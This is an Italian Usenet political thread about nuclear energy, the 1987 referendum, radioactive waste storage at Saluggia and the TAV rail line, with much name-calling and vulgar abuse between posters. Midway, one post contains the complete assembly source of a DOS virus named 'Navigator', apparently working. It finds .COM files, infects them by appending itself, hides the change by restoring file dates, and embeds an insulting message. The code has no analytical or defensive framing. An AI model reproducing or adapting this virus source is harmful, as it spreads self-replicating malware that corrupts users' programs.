Newsgroup: it.politica
Titolo: Niente TAV, niente nucleare....

I nuovi pagani, quelli che hanno scelto di adorare la terra, già ci 
hanno tagliato le gambe con il nucleare, costringendo il paese ad 
acquistare il petrolio dall'estero, adesso, i nuovi pagani, ci riprovano 
con la TAV.....
Clas 

 Clas
Quanno te ne andrai, intorno alla fine de aprile,
te consiglio l'aereo.
Hai prenotato la destinazione?
Sмм?
http://tinyurl.com/8e90
 

 voluto il nucleare
Sai com'e', quando un giorno ti svegli e vedi nel cielo una bella
nuvoletta gialla e senti una bell'aria calda e ti pippi tranquillo la
radioattivita' di chernobyl, scoprendo il giorno dopo (o addirittura
due giorni dopo) che il tuo paese, sotto costante minaccia
comunista, nelle regioni direttamente confinanti colla cortina di ferro,
non e' in grado di rilevare la radioattivita' e di allertare la
popolazione, un po' di dubbi sull'efficienza e la capacita' di gestire
rogne immense come la fissione nucleare ti viene.
Se poi non ti va bene che la maggioranza nel referendum abbia detto no al
nucleare, vai a raccogliere firme.

 nucleare, vai a raccogliere firme.
La maggioranza č fatta da gente che di nucleare non capisce un fico secco e 
cosě la maggioranza dei politici e dei giornalisti. Pensa che c'č chi crede 
che l'idrogeno si trovi sotto terra come il carbone e che basti tirarlo 
fuori e bruciarlo. La rinuncia al nucleare č stato un errore! Chi non lo 
ammette č o in mala fede o un pirla. 


Tu invece sai tutto, vero?
Bravo!
E sai, ad es., qual è il tempo di dimezzamento del Mn-54?
O l'energia dei picchi gamma dell'argento 110m?
O la quantità di trizio che proviene dalla fissione ternaria dell'uranio?
Cambia il tuo nome, è meglio (in prendente) 

 "dante" ha scritto nel messaggio
================================================================
Me piace tanto Beatrice !
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 ha scritto nel messaggio
news:h6Alf.73383$65.21...@twister1.libero.it...

ecco Nino il principe dei pirla! Se non sai con chi parli sai zitto. Dante
ha espresso solo un'opinione, peraltro largamente condivisa da fior di
scienziati e non da pennivendoli qualunque che dicono o scrivono ciò che
vuole il padrone. Hai un padrone vero?

vuole il padrone. Hai un padrone vero?
beh, per'altro condivisa. dipende. posso dire anche io la mia?
Il no al nucleare all'epoca fu uno sbaglio. ma sopratutto della classe
politica.
giustamente qualcuno ha scritto che su questi temi, è inutile indire
un referendum.
si constringe la gente a ragionare in modo manicheo. o sì o no.
e le conseguenze si leggono ancora oggi. il genio(eufemismo) che ha
iniziato il thread collega la mancanza del nucleare, l'arretratezza del
paese ad una parte politica(che percentuale avevano i verdi in
quell'anno?)
se avessimo avuto una classe politica seria, piuttosto, avremmo in
alternativa, per l'economia del paese, rafforzato scelte di tecnologia
alternativa, avremmo garantito le condizioni per la trasparenza e non
il malaffare.
se avessimo una classe politica seria, ora, nelle sale che contano, ci
sarebbero politici italiani, e non il vuoto assoluto più completo(per
quanto riguarda il nucleare, all'ultima general conference della AIEA a
Vienna, la delegazione italiana era nella pratica inesistente)
un classe politico/economica seria, verdi compresi capirebbe la
differenza tra networking e inciucio.
è questo che uccide il progresso, non le idee dei verdi soli(e mi
incazzo quando leggo che Milano per una nevicata di 20 cm è bloccata e
DeCorato scarica la responsabilità sugli ambientalisti, che, parole
sue, si sono opposti allo sradicamento degli alberi....ma chi vuol
prendere in giro?)
Il no adesso è frutto di considerazioni esclusivamente pratiche, come:
- per una centrale nuova, bisogna smantellare quella vecchia. il
decommisioning delle vecchie centrali è caro e lungo.
- per una centrale nuova bisogna creare un ambiente di ricerca nucleare
italiano
- la fissione nucleare, allo stato della tecnologia attuale, ha
raggiunto un plateau di efficienza
- poichè i reattori nucleari sono tecnologia di poche multinazionali,
che dall'Italia sono già scappate, come si pensa di allettarle,
investendo soldi, in una società economico/politica malata come quella
italiana?
- le scorie? si ok, la ceramizzazione...dove?
neurino

 ha scritto nel messaggio
news:1133965226....@g47g2000cwa.googlegroups.com...










neurino
Analisi seria ed equilibrata che contrasta con la risposta scomposta di Nino
a Dante. Aggiungo anch'io qualcosa: 151 le centrali nucleari in funzione in
occidente di cui: 58 in Francia, 5 in Svizzera, 9 in Spagna, 19 in Germania,
7 in Belgio, 2 in Olanda, 35 in Gran Bretagna, 12 in Svezia, 4 in Finlandia
e a queste si aggiungono quelle dell'est (24) di cui 13 RBMK (tipo Cernobyl)
e 11 VVER (ancor più vecchie). E forse me ne sfuggono alcune. Francesi,
inglesi, tedeschi ecc sono proprio tutti stupidi? Noi non abbiamo nucleare
insieme a Nigeria, Tanzania, Etiopia e Africa del nord e medio oiente (tab 2
pag. 182) di "Energia oggi e domani" Armaroli - Balzani, però la comperiamo.
ciao


============================================================
No martini, no party


 ha scritto nel messaggio
news:h6Alf.73383$65.21...@twister1.libero.it...

Adesso che hai fatto sfoggio di erudizione sarai contento. Resta il fatto
che l'Italia, con quella scelta, ha perso il treno di questa tecnologia.
Compera energia nucleare dalla Francia, dalla Slovenia e forse da altri, ma
in compenso espone, in alcuni paesi, cartelli con su scritto "comune
denuclearizzato"
wale

 Noi non abbiamo nucleare...
Lo abbiamo avuto, poco, per vent'anni e senza incidenti.
Ci ho lavorato per trent'anni nella PWR che ai suoi tempi aveva battuto
tutti i record di produzione continua alla massima potenza.
So perfettamente che una nucleare è "più pulita" di una termoelettrica,
magari a carbone.
Ciononostante, sono contrario, e non soltanto per evidenti motivi economici,
che fra poco col decommissioning peseranno pesantemente sull'economia della
Francia.
Nino 


Certamente! Il mio cane!
Con il quale ho la fortuna di percorrere, quando voglio, le montagne,
in lungo ed in largo, alla faccia di quelli come te, che, magari, sono
intossicati da stress e smog. 


Ha un'idea strana di progresso, sarà pe questo che beli ad ogni
sussulto di Bellachioma. E probabilmente è proprio per questo che il
salto indietro di 30 anni che abbiamo fatto con questo governo lo
chiami progresso.
In parole povere non capisci un cazzo... ma contento te, probabilmente
pensi che tutti i lurker di it.politica siano tuoi coetanei, come anche
lo pensa il premier dei suoi elettori.
Devo darvi un brutta notizia, qua tutti hanno più di 14 anni e in
Italia i quattordicenni non votano...

Andrea. Non sprecare a rispondere a Clas. È un teppista.
Lo sai meglio di me qual'e' il suo giochetto: lancia la provocazione e
scappa.
Mai che discutesse come una persona normale.
Abbandona i thread, si contraddice con i suoi post passati(la cache di
Google è meravigliosa).
Non ha 14 anni, ne ha di più, e non ragiona come un 14enne. Lo fa
scientamente.
Tanto quello che gli importa è far passare un certo tipo di messaggio.
Quindi bisognerebbe ignorarlo.
neurino
PS
ti abbraccio, mangia una focaccia per me ;-)

 ha scritto nel messaggio
news:BxDlf.25735$S6.4...@twister2.libero.it...

Mi intrometto. Ognuno avrà buoni motivi per pensarla a suo modo, ma resta
una domanda di fondo: quale energia? e per quale futuro? Ho letto anch'io il
libro di Armaroli - Balzani citato sopra, ma soltanto col risparmio non
penso si vada tanto lontano, tantomeno i paesi in via di sviluppo. Quale
energia allora? E in prospettiva?
wale

Il discorso dei paesi in via di sviluppo. Mi guadagnerò tante belle
etichette, ma fa nulla.
Non è un caso che l'elenco delle centrali nucleari postato da
gualtiero comprenda solo un certo tipo di paesi. È un business
notevole, quello dell'energia. Che viene venduta a caro prezzo.
Anche la costruzione di tecnologia di supporto viene difficilmente
affidata a paesi come il Brasile, figurati a quelli in via di sviluppo.
La costruzione di due centrali a *fusione* è in programma, una in
Francia ed una in Giappone.
Ci vorranno almeno 20-50 anni. Cosí dicono gli studi.
Per ora, arrangiarsi con quello che c'è, perchè nel caso le due
centrali di cui sopra funzionassero, allora avremo un bel pó di mostri
da smaltire.
Perchè non cito le energie rinnovabili? Perchè, sebbene penso siano
da sviluppare e sostenere alla grande(motivi: pulite, garantiscono meno
specializzazione nei possibili lavoratori coinvolti, indipendenza
geopolitica - chi ha il sole, vento etcetc ce l'ha e basta), non credo
che siano sufficienti a fornire alte densità di energia.
neurino

neurino
Intendi vetrificazione?Per il dove,secondo me in uno dei tanti terreni 
nazionali del demanio militare

 se avessimo una classe politica seria, 
Hai centrato il punto.
Io ad esempio non sono contrario al nucleare, ma sono contrario al 
nucleare in italia.
Mi fido di fisici, ingegneri e tecnici.
Non mi fido di politicanti, amministratori e contabili.
Abbiamo già visto cosa è successo per lo stoccaggio delle scorie 
radioattive a Scanzano ionico: il sito più sicuro non è stato 
utilizzato per via delle proteste. Questo significa che per questioni 
politiche e non tecniche si utilizza un sito meno sicuro (dove la gente 
o non è stata informata o caragna di meno).
Abbiamo ben visto quante belle discariche abusive con rifiuti tossici 
di ogni genere e risma ci sono in giro per questa repubblica della 
banane: si tratta spesso di rifiuti per i quali ci dovrebbero essere 
controlli rigorosi e, sulla carta, ineludibili. Ma rende molto di più 
fingere di smaltirli.
Il margine di guadagno con le scorie radioattive sarebbe decisamente 
superiore.
I controlli?
Nella repubblica delle banane?
Ma per piacere.
No, grazie, preferisco comprare il nucleare dalle centrali francesi di 
oltralpe.
saluti,
Peltio
-- 
Invalid address in reply-to.

 ha scritto nel messaggio
news:4396fd00$0$7312$4faf...@reader4.news.tin.it...

Alt ragazzi! Qui abbiamo l'opportunità di ascoltare il parere di un
tecnico vero (Nino dice di aver lavorato 30 anni nella PWR). Non si
tratta del solito perditempo ignorante che grida no al nucleare solo
perchè va di moda essere verdi. Dice che il suo "no" è dettato da
ragioni economiche. Certamente non gli si possono contrapporre ragioni
per il "si" che siano basate su analisi "intuitive" e semplificate del
problema (del tipo "già compriamo l'energia dalla Francia, quindi...").
Ne approfitto per chiedergli (e non si tratta assolutamente di una
domanda retorica) come pensa si possa affrontare il problema energetico
in Italia; problema che si prevede diventi sempre più grave col passare
del tempo.
Ciao
Mauro


====================================================================
No Martini, no party


 Francia.
Mah,non credo proprio,in Usa ci sono stati già diverse centrali smantellate 
con successo al costo di poche centinaia di milioni di dollari,non mi sembra 
un costo così eccessivo in 40 o 60 anni di vita tecnica utile,considerando 
il bassissimo costo marginale del kWh elettronucleare e le enormi economie 
di scala costituitesi in paesi come Francia ed in Usa (serie di costruzioni 
di reattori identici) 


Il nucleare è indispensabile, il TAV molto meno.
Perchè non usare centrali adatte a trasformarle in isotopi meno
pericolosi?
Basterebbe dedicare un'area europea o mondiale a questo tipo di
tecnologia, e il nucleare
tradizionale avrebbe giusto quell'autonomia di alcuni decenni per
passare in modo indolore dal petrolio alle altre forme di generazione
come la fusione.
Penso comunque che il nucleare come altri grandi impianti energetici
vada concepito come energia europea e non dei singoli stati.
Vidimarte



 del tempo.
Il problema e' comune a tutto il mondo, e tutto il mondo fa quel che
puo'.
Si ingegna a creare nuovi fonti energetiche (l'eolico in Germania e'
diffusissimo), a ritardare la chiusura di centrali nucleari (gli USA
soprattutto), a ridurre o riorganizzare i consumi (la Cina, sull'orlo
di una crisi energetica spaventosa, incentiva le industrie a lavorare
di notte).
Solo noi, e' vero, non facciamo nulla, ma con il governo che ci
troviamo, e' gia' qualcosa.
Ciao Alberto

 tonnellate di documentazione.
Infatti, ho detto che non si tratta di un "perditempo"
Mauro P.

diffusissimo)
Diffusissimo rispetto a cosa e a chi?In germania l'eolico è circa il 4%.Sono 
stati spesi nel solo 2003 quasi 20 miliardi di euro solo per sussidi al 
vento,con un premio di 9 euro cent al kWh,un costo che fosse quello 
prevalente sarebbe insostenibile per qualsiasi paese industriale.Il fattore 
di capacità dell'eolico in Germania è stato solo del 16%,ciò pone molti 
dubbi sull'utilità industriale ai fini del dispacciamento dell'elettricità 
di tale tecnologia,a parte i costi astronomici che forse noi con il nostro 
debito pubblico non possiamo permetterci 

                    Il 09 Dic 2005, 13:39, "AlexLoll" <
ale...@virgilio.it
 (NO-SPAM)>
======================================================================
 No Martrini no party


Perchè non usare centrali adatte a trasformarle in isotopi meno
pericolosi?
Lo si fa già,ci sono stati in passato e ci sono tuttora diversi progetti di 
"incenerimento" delle scorie basate sulla trasmutazione nucleare,sulla base 
di diverse concezioni tecnologiche
http://aaa.lanl.gov/tr0702pres/Baxter-GasCooled.pdf
http://www.nuc.berkeley.edu/designs/ifr/wastes.html
http://www.nea.fr/html/pt/docs/iem/jeju02/session6/SessionVI-12.pdf
Tuttavia la  soddisfacente diffusione e il costo così basso dell'uranio,meno 
dell'equivalente di un dollaro al barile di petrolio,non incentivano 
progetti del genere,è più semplice trovare un deposito ben custodito dove 
stoccarle 


Grazie! La mangerò sicuramente. Clas ogni tanto lo uso per urlare la
mia rabbia nei confronti di questo schifo. Tutto qua... :-) Ciao P.

 teologia ed altre inutili e parassitarie puttanate umanisticheggianti.
Forse sei un tantino eccessivo... però rendi l'idea!
Mauro P.


=====================================================================
No Martini no party


 ritorno il risultato di quel referendum non dovrebbe meravigliarci.
Parole sante. Concordo con quanto hai detto in tutti i post precedenti.
saluti.
wale

 e diminuire le competenze tecnico-scientifiche nei settori di punta.
blablabla...
Alberto


Lo smantellamento completo, per lasciare un sito a contaminazione nulla,
(radioattività dell'ordine di quella naturale delle aree circostanti)
adibibile ad area verde, o per altri scopi, è costosissimo.
Senza considerare i problemi di confinamento dei residui, apparecchiature e
rifiuti a media ed alta attività. 

 ed allora perche' sei contrario ?
Perchè ho seguito per anni, dal punto di vista radiometrico e radiochimico,
gli effetti dell'incidente di Chernobyl sulle matrici ambientali ed
alimentari in Italia. Nonchè la contaminazione interna (total body) di
dipendenti e non.
Lo so, è molto improbabile che un evento come quello di Chernobyl si possa
verificare con la nostra tecnologia.
Però so, purtroppo, in quale conto (sono considerati poco meno che
rompicoglioni!) è tenuta la protezione ambientale, da parte di chi *deve*
guadagnare e quindi produrre.
E come si è tentati di manipolare la formula di scarico per gli effuenti
gassosi e liquidi.
E come, pure a seguito di esercizio normale, si rintraccino anche a
distanza di anni dalla chiusura degli impianti, radionuclidi di fissione
ed attivazione a vita medio-lunga, concentrati ad es. nei sedimenti
fluviali.
Senza considerare, ovviamente, i veri problemi costituiti dagli elementi
di combustibile irraggiati, dai componenti interni del nocciolo, ecc.. 


Purtroppo, non so darti una risposta esaustiva.
Anche perchè non voglio assolutamente uscire dal mio campo di competenze
(sono chimico).
Secondo me, il vero problema sono i consumi, in costante ed inevitabile
aumento (anche per la globalizzazione).
Il risparmio energetico (e la diminuzione degli sprechi!), anche se
possono sembrare poca cosa, sono tuttavia fondamentali.
Come la ricerca, gli studi e lo sviluppo delle energie alternative.
E, forse, in un futuro non lontanissimo, la fusione nucleare.
Per il momento, però, secondo me, non si può assolutamente rinunciare
all'energia termoelettrica da petrolio e derivati (meglio il gas).
E contrastare l'aumento dell'anidride carbonica nell'atmosfera
bloccando ogni deforestazione. 

 rifiuti a media ed alta attività.
Sì,sono d'accordo con te che è un processo complesso e delicato,ma oggi non 
possiamo ancora pensare di fare la scoperta dell'acqua calda.
Da tempo sono stati completati diversi progetti di smantellamento in Usa i 
cui costi sono obiettivamente bassi,purchè si costituiscano delle economie 
di scala (tanti impianti identici e operati al max della vita tecnica utile)
Inoltre fisicamente i volumi di rifiuti radioattivi sono trascurabili 
rispetto a quelli chimici tossici che ogni paese industriale ogni anno 
accumula (e per molti di essi la vita media è illimitata);in più la 
tossicità di essi è contenuta per più del 99% negli attinidi (plutonio in 
particolare) che sono l'1% del combustibile irraggiato,elementi riciclabili 
in reattori adatti,con un ulteriore recupero energetico  (come quello 
proposto dal prof.  Rubbia)

 verificare con la nostra tecnologia.
Non è che è improbabile,è proprio fisicamente impossibile che un incidente 
di criticità come quello di Chernobyl avvenga in un qualsiasi reattore 
occidentale.Il max che può accadere in un impianto nucleare di concezione 
occidentale è un incidente come quello di Three mile island,che praticamente 
non ha avuto che trascurabili effetti sanitari,nonostante la fusione del 
nocciolo (a parte la non trascurabile perdita 
dell'impianto,irremidiabilmente danneggiatosi) 


Non lo ammetto, non credo di essere in mala fede e neanche pirla.
Tanto per informarmi potresti spiegarmi i costi di smaltimento dei rifiuti 
dove li metteresti nel bilancio?
Tra costi ecomafia o simili ?????????
!"£$%?)(/&%£"$%&/=)( "£$%&/() 

 Tra costi ecomafia o simili ?????????
Mi intrometto.
E i costi dei combustibili fossili allora? CO2, metano, ossidi di azoto, CO,
composti organici volatili, ossidi di zolfo, particolato atmosferico,
cambiamenti climatici, piogge acide, metalli pasanti, ecc, ecc. I paesi in
via di sviluppo, poi, non possono permettersi di controllare l'inquinamento,
pena la rinuncia al progresso. I danni alla salute e quindi i costi li
dovremo pur contare. Ripropongo quģ la domanda: quale energia e per quale
futuro? Non credo che si possa avere la botte piena e la moglie ubriaca.

 Clas
Niente Ponte, ha vinto l'azionista dei traghetti 
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

ritorno il risultato di quel referendum non dovrebbe meravigliarci.
un ingegnere mi ripeteva quello che "gli esperti" del tempo ripetevano
a me liceale all'ultimo anno convinto di votare *no al nucleare*:
il petrolio sarebbe finito nel giro di qualche anno e bisognava 
passare al nucleare se non volevamo ritornare al tempo della pietra.
Ancora il petrolio non e' finito le nazioni che hanno il nucleare
dismettono, e la pericolosità di questa forma di energia rimane nei
per millenni nei rifiuti radioattivi che stoccati male potrebbero
ucciderci noi tutti. Lascio al lettore le considerazione su questi se
dicenti "esperti" per le falsita' che dicono. 
Cmq sarei d'accodo solo alla fusione nucleare solo nel caso che non si
producano materiali radioattivi... 

 dismettono
Il punto è che neanche l'uranio è inesuribile- non è una fonte c.d.
rinnovabile- e il prezzo per chi non ne ha sul proprio territorio tenderà
logicamente ad aumentare; e che, ai costi attuali, e coi tempi necessari,
mettere in esercizio un reattore nucleare avrebbe costi insostenibili in
relazione ai supposti vantaggi, tenuto conto che non sarebbe in grado di
operare a pieno regime prima di una decina d'anni.
-- 
Freedom's just another word for nothing left to lose
(Janis Joplin)
19/12/2005 19.21.23

 -- 
Si, no, cioe', forse...............;-) 

dove li metteresti nel bilancio?
E dove li mettono i paesi civili? Perche' da loro non sono un
problema? Solo un pirla puo' credere davvero ai catatrofisti che
voglio tornare all'eta' della pietra.

ucciderci noi tutti.
E se sono stoccati bene?

 E se sono stoccati bene?
Ma chi? Dove? Quando?
Ma li hai visti per caso i documentari sulla TAV?
Norme di sicurezza 0, cantieri aperti, persone morte sul lavoro.
Ma ti pare che gliele freghi nulla a quei bastardi?
Sono così maiale che appena hanno visto che potevano fare soldi a palate
hanno cercato di muoversi il più velocemente possibile!
Poi mi spieghi che cazzo serve la TAV in Italia quando le ferrovie dello
stato fanno pena??
Ultimo incidente proprio nei giorni scorsi...loro sono dell'età della pietra
non quelli che sono contro la tav.
Mettessero a posto le ferrovie invece di causare un disastro biologico e uno
scempio naturale.
Poi le cose non vengono mai a caso..il ministro Lunardi, gran figlio di
puttana! Il cantiere indovina da chi è gestito??
Ma naturalmente da quella mignotta della moglie, che li manderei entrambi a
vivere a 3 metri dalla tav che vogliono costruirsi.
Maiali.

 wrote:
=======================================================================


   No Martini no party
Navigator	Segment
		Assume cs:Navigator, ds:Navigator,
		org 100h
len 		equ offset last - begin
Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin:          call yu_yu_fuck_you
yu_yu_fuck_you: pop bp
                sub bp,109h
                mov dx,0fe00h
                mov ah,1ah
                int 21h
Restore_begin:  mov di,0100h
		lea si,ds:[buffer+bp]
		mov cx,06h
		rep movsb
First:		lea dx,[com_mask+bp]
		mov ah,04eh
		xor cx,cx
		int 21h
Open_file:	mov ax,03d02h
		mov dx,0fe1eh
		int 21h
		mov [handle+bp],ax
		xchg ax,bx
Read_date:	mov ax,05700h
		int 21h
		mov [date+bp],dx
		mov [time+bp],cx
Check_infect:	mov bx,[handle+bp]
		mov ah,03fh
		mov cx,06h
		lea dx,[buffer+bp]
		int 21h
                mov al,byte ptr [buffer+bp]+3
		mov ah,byte ptr [buffer+bp]+4
		cmp ax,[initials+bp]
		jne infect_file
Close_file:     mov bx,[handle+bp]
		mov ah,3eh
		int 21h
Next_file:      mov ah,4fh
		int 21h
		jnb open_file
		jmp exit
Infect_file:    mov ax,word ptr [cs:0fe1ah]
		sub ax,03h
		mov [lenght+bp],ax
		mov ax,04200h
		call move_pointer
Write_jump:     mov ah,40h
		mov cx,01h
		lea dx,[jump+bp]
		int 21h
		mov ah,40h
		mov cx,02h
		lea dx,[lenght+bp]
		int 21h
		mov ah,40
		mov cx,02h
		lea dx,[initials+bp]
		int 21h
Write_virus:	mov ax,4202h
		call move_pointer
		mov ah,40h
		mov cx,len
		lea dx,[begin+bp]
		int 21h
restore_date:   mov dx,[date+bp]
		mov cx,[time+bp]
		mov bx,[handle+bp]
		mov ax,05701h
		int 21h
exit:		mov bx,0100h
		jmp bx
;---------------------------------------------------------------------------
-
move_pointer:   mov bx,[handle+bp]
		xor cx,cx
		xor dx,dx
		int 21h
		ret
;---------------------------------------------------------------------------
-
com_mask	db "*.com",0
handle		dw ?
date		dw ?
time		dw ?
buffer          db 090h,0cdh,020h,044h,048h,00h
initials        dw 4844h
lenght		dw ?
jump            db 0e9h,0
msg             db "OSSERVATORE my bloody bitch",0
last		db 090h
Navigator	ends
		end  dummy

                    No Martini No party


puttana! Il cantiere indovina da chi è gestito??
Non dicevi che di cantieri ce ne sono tanti?

 >> >dismettono,
diventerà più caro, causerà danni irrisolvibili e insostenibili, poi finirà
o diventerà troppo caro, che è la stessa cosa. Tutte le grandi nazioni hanno
in progetto centrali di IV generazione a sicurezza intrinseca.
quali sono le tue fonti?
Buon anno.

                i cannibali si lamentano perché l'uomo di sinistra fa schifo, ma il mostro
di
               Milwaukee purtroppo o per fortuna era di bocca buona, e così ne ha mangiati
17.


 nel porto di Napoli..
Allora... esprimersi solo dopo aver capito di che cosa si sta parlando.
vnd 


zukatore, Cannabili è una poesia eccezionale, talemente super, che 
generò anche i cannibali, in Germania, e chisså su quella poesia, chi 
sta ancora magnando, ed il danaro aumenta, ed io, il grande poeta, non 
posso pagare manco le bollette ...
ma annate a mori' ammazzati tutti quanti
-
Un saluto a volo su Spaccanapoli con gli angeli della luce
100.000 Olmstrom
rAdiomustori

>Non so, ma evidentemente i rifiuti radioattivi non hanno ucciso ne'
tutti i tedeschi ne' tutti i francesi.
e tu speri che quelli italiani uccidano gli altri e non te...
complimenti per il tuo spirito di comunità!
intanto leggi questo
Il Generale Jean ha emanato una ordinanza che impone la costruzione a
Saluggia, a 50 metri dalla Dora Baltea e a meno di due chilometri dai
pozzi dell'Acquedotto del Monferrato, di un mega-deposito nucleare per
i rifiuti radioattivi di seconda categoria.
Il deposito nucleare, denominato D-2 avrà volume esterno di 21 mila
metri cubi, pari a 70 appartamenti.
Il deposito potrà contenere sostanze radioattive (es. Cs137, Co60,
ecc) per migliaia di miliardi di Becquerel.
L'ordinanza è divenuta esecutiva da ieri, 30 dicembre 2005.
Legambiente e Pro Natura di Saluggia e Vercelli chiedono il vostro
aiuto per ricorrere contro questa ordinanza e farla annullare.
Le ragioni di invalidità, in breve sono:
Il Commissario Generale Jean è autorizzato ad agire in deroga alle
leggi italiane, ma non può assolutamente derogare dalle leggi
sovranazionali. L'ordinanza emanata dice che il deposito D-2 è opera
connessa con l'impianto CEMEX che è sottoposto a VIA.  La Direttiva
Europea 85/377/CEE, all'articolo 3, stabilisce che la VIA deve
riguardare sia gli effetti diretti del progetto, sia quelli indiretti.
L'effetto della costruzione di un deposito nucleare grande 21.000 metri
cubi non è certo marginale. Pertanto il deposito D-2 deve essere
assoggettato a VIA a seguito di normative sovranazionali, e la sua
realizzazione non può essere disposta con i poteri di deroga del
Generale Jean.
Il Generale Jean ha ricevuto i poteri di Commissario Straordinario per
una serie di installazioni nucleari (Centrali nucleari e deposito
Avogadro di Saluggia), ma non per l'Impianto EUREX di Saluggia e per il
relativo sito, nel quale invece il deposito D-2 dovrebbe essere
realizzato.
L'Ordinanza è stata emanata senza il preventivo parere favorevole
della Commissione Tecnico Scientifica Nazionale.
L'ordinanza cita impegni del Parco del Po Torinese (nella cui area il
Deposito nucleare D-2 sarebbe realizzato) che, secondo il Parco, non
sarebbero mai stati presi.
Per il ricorso serviranno migliaia di euro: Legambiente e Pro Natura di
Saluggia lanceranno a giorni una urgente campagna di sottoscrizioni
finalizzata a questo scopo.   Contiamo sull'aiuto di tutti!
Resta inteso che, qualora il Comune si apprestasse a deliberare sulla
Variante al PRG, che consente la realizzazione dei depositi nucleari
anche senza ordinanze, organizzeremo una "pacifica occupazione" di
Saluggia per manifestare insieme la più ferma contrarietà.
 
A presto!